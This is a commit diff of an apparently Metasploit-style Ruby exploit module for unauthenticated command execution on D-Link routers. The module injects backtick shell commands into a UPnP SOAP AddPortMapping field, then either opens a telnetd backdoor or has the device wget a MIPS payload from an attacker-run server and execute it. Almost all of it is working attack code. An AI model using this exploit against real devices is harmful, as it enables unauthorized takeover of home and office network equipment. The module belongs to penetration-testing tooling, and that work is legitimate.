Skip to content

Commit f26b60a

Browse files
author
m-1-k-3
committed
functions and some tweaking
1 parent f594c4b commit f26b60a

File tree

1 file changed

+134
-124
lines changed

1 file changed

+134
-124
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 134 additions & 124 deletions
Original file line numberDiff line numberDiff line change
@@ -59,164 +59,118 @@ def initialize(info = {})
5959
'Platform' => 'unix'
6060
}
6161
],
62-
[ 'Telnet', #all devices
62+
[ 'Telnet', #all devices - default target
6363
{
6464
'Arch' => ARCH_CMD,
6565
'Platform' => 'unix'
6666
}
6767
],
68-
[ 'Linux mipsel Payload', #DIR-865, DIR-645, and others with wget installed
68+
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
6969
{
7070
'Arch' => ARCH_MIPSLE,
7171
'Platform' => 'linux'
7272
}
7373
],
7474
],
75-
'DefaultTarget' => 0
75+
'DefaultTarget' => 1
7676
))
7777

7878
register_options(
7979
[
80-
Opt::RPORT(49152),
80+
Opt::RPORT(49152), #port of UPnP SOAP webinterface
8181
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
8282
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
8383
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
8484
], self.class)
8585
end
8686

87+
def exploit
88+
new_portmapping_description = rand_text_alpha(8)
89+
new_external_port = rand(65535)
90+
new_internal_port = rand(65535)
8791

88-
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
89-
90-
uri = '/soap.cgi'
91-
92-
data_cmd = "<?xml version=\"1.0\"?>"
93-
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
94-
data_cmd << "<SOAP-ENV:Body>"
95-
96-
if type == "add"
97-
vprint_status("#{rhost}:#{rport} - adding portmapping")
98-
99-
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
100-
101-
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
102-
data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
103-
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
104-
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
105-
data_cmd << "<NewEnabled>1</NewEnabled>"
106-
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
107-
data_cmd << "<NewRemoteHost></NewRemoteHost>"
108-
data_cmd << "<NewProtocol>TCP</NewProtocol>"
109-
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
110-
data_cmd << "</m:AddPortMapping>"
92+
if target.name =~ /CMD/
93+
exploit_cmd(new_external_port, new_internal_port, new_portmapping_description)
94+
elsif target.name =~ /Telnet/
95+
exploit_telnet(new_external_port, new_internal_port, new_portmapping_description)
11196
else
112-
#we should clean it up ... otherwise we are not able to exploit it multiple times
113-
vprint_status("#{rhost}:#{rport} - deleting portmapping")
114-
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
115-
116-
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
117-
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
118-
data_cmd << "</m:DeletePortMapping>"
97+
exploit_mips(new_external_port, new_internal_port, new_portmapping_description)
11998
end
99+
end
120100

121-
data_cmd << "</SOAP-ENV:Body>"
122-
data_cmd << "</SOAP-ENV:Envelope>"
123-
124-
begin
125-
res = send_request_cgi({
126-
'uri' => uri,
127-
'vars_get' => {
128-
'service' => 'WANIPConn1'
129-
},
130-
'ctype' => "text/xml",
131-
'method' => 'POST',
132-
'headers' => {
133-
'SOAPAction' => soapaction,
134-
},
135-
'data' => data_cmd
136-
})
137-
return res
138-
rescue ::Rex::ConnectionError
139-
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
140-
return nil
101+
def exploit_cmd(new_external_port, new_internal_port, new_portmapping_description)
102+
if not (datastore['CMD'])
103+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
141104
end
105+
cmd = payload.encoded
106+
type = "add"
107+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
108+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
109+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110+
end
111+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112+
type = "delete"
113+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
114+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
115+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
116+
end
117+
return
142118
end
143119

144-
def exploit
145-
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
120+
def exploit_telnet(new_external_port, new_internal_port, new_portmapping_description)
121+
telnetport = rand(65535)
146122

147-
new_portmapping_description = rand_text_alpha(8)
148-
new_external_port = rand(65535)
149-
new_internal_port = rand(65535)
123+
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
150124

151-
if target.name =~ /CMD/
152-
if not (datastore['CMD'])
153-
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
154-
end
155-
cmd = payload.encoded
156-
type = "add"
157-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
158-
if (!res or res.code != 200)
159-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
160-
end
161-
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
162-
type = "delete"
163-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
164-
if (!res or res.code != 200)
165-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
166-
end
167-
return
125+
cmd = "telnetd -p #{telnetport}"
126+
type = "add"
127+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
128+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
129+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
130+
end
131+
type = "delete"
132+
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
133+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
134+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
168135
end
169136

170-
if target.name =~ /Telnet/
171-
telnetport = rand(65535)
172-
173-
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
174-
175-
cmd = "telnetd -p #{telnetport}"
176-
type = "add"
177-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
178-
if (!res or res.code != 200)
179-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
180-
end
181-
type = "delete"
182-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
183-
if (!res or res.code != 200)
184-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
185-
end
137+
begin
138+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
186139

187-
begin
188-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
189-
190-
if sock
191-
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
192-
else
193-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
194-
end
195-
196-
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
197-
auth_info = {
198-
:host => rhost,
199-
:port => telnetport,
200-
:sname => 'telnet',
201-
:user => "",
202-
:pass => "",
203-
:source_type => "exploit",
204-
:active => true
205-
}
206-
report_auth_info(auth_info)
207-
merge_me = {
208-
'USERPASS_FILE' => nil,
209-
'USER_FILE' => nil,
210-
'PASS_FILE' => nil,
211-
'USERNAME' => nil,
212-
'PASSWORD' => nil
213-
}
214-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
215-
rescue
140+
if sock
141+
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
142+
else
216143
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
217144
end
218-
return
145+
146+
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
147+
auth_info = {
148+
:host => rhost,
149+
:port => telnetport,
150+
:sname => 'telnet',
151+
:user => "",
152+
:pass => "",
153+
:source_type => "exploit",
154+
:active => true
155+
}
156+
report_auth_info(auth_info)
157+
merge_me = {
158+
'USERPASS_FILE' => nil,
159+
'USER_FILE' => nil,
160+
'PASS_FILE' => nil,
161+
'USERNAME' => nil,
162+
'PASSWORD' => nil
163+
}
164+
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
165+
rescue
166+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
219167
end
168+
return
169+
end
170+
171+
def exploit_mips(new_external_port, new_internal_port, new_portmapping_description)
172+
173+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
220174

221175
#thx to Juan for his awesome work on the mipsel elf support
222176
@pl = generate_payload_exe
@@ -267,7 +221,7 @@ def exploit
267221
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
268222
type = "add"
269223
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
270-
if (!res or res.code != 200)
224+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
271225
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
272226
end
273227

@@ -283,11 +237,67 @@ def exploit
283237

284238
type = "delete"
285239
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
286-
if (!res or res.code != 200)
240+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
287241
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
288242
end
289243
end
290244

245+
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
246+
247+
uri = '/soap.cgi'
248+
249+
data_cmd = "<?xml version=\"1.0\"?>"
250+
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
251+
data_cmd << "<SOAP-ENV:Body>"
252+
253+
if type == "add"
254+
vprint_status("#{rhost}:#{rport} - adding portmapping")
255+
256+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
257+
258+
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
259+
data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
260+
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
261+
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
262+
data_cmd << "<NewEnabled>1</NewEnabled>"
263+
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
264+
data_cmd << "<NewRemoteHost></NewRemoteHost>"
265+
data_cmd << "<NewProtocol>TCP</NewProtocol>"
266+
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
267+
data_cmd << "</m:AddPortMapping>"
268+
else
269+
#we should clean it up ... otherwise we are not able to exploit it multiple times
270+
vprint_status("#{rhost}:#{rport} - deleting portmapping")
271+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
272+
273+
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
274+
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
275+
data_cmd << "</m:DeletePortMapping>"
276+
end
277+
278+
data_cmd << "</SOAP-ENV:Body>"
279+
data_cmd << "</SOAP-ENV:Envelope>"
280+
281+
begin
282+
res = send_request_cgi({
283+
'uri' => uri,
284+
'vars_get' => {
285+
'service' => 'WANIPConn1'
286+
},
287+
'ctype' => "text/xml",
288+
'method' => 'POST',
289+
'headers' => {
290+
'SOAPAction' => soapaction,
291+
},
292+
'data' => data_cmd
293+
})
294+
return res
295+
rescue ::Rex::ConnectionError
296+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
297+
return nil
298+
end
299+
end
300+
291301
# Handle incoming requests from the server
292302
def on_request_uri(cli, request)
293303
#print_status("on_request_uri called: #{request.inspect}")

0 commit comments

Comments
 (0)